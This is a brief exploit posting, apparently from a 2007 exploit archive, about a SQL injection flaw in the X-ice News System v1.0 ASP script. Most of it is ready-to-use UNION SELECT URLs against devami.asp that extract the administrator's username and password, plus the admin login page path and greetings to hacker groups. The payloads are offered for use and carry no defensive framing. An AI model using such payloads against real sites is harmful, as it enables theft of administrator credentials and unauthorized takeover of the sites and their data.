Rated as : High Risk
Title : X-ice News System v1.0 Remote SQL Injection Vulnerability
#Author : CyberGhost
#Page : http://www.x-ice.org/haber%5Fv1/
#Download : http://aspindir.com/indir.asp?id=4601&sIslem=%DDndir
Vuln.
Username :
/devami.asp?id=-1+union+select+0,kullaniciadi,2,3,4,5,6,7+from+admin
Password : /devami.asp?id=-1+union+select+0,sifre,2,3,4,5,6,7+from+admin
Login : /admin/kontrol.asp
====================================
Thanx : redLine - Hackinger - LiarHack - excellance - SaCReD SeeR - MaTRaX
- by_emR3 - kerem125 - Bolivar - All TiTHaCK Members
And All TURKISH HACKERS !
securitydot.net - 2007-03-13
|
